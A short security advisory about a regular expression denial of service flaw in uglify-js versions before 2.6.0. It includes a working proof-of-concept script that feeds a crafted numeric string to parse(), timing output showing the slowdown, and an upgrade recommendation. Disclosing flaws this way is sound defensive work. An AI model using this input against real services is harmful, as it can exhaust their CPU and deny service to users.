Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.

### Proof of Concept

``` var u = require('uglify-js'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;"); ```

### Results ``` $ time node test.js 10000 real 0m1.091s user 0m1.047s sys 0m0.039s

$ time node test.js 80000 real 0m6.486s user 0m6.229s sys 0m0.094s ```

## Recommendation

Update to version 2.6.0 or later.
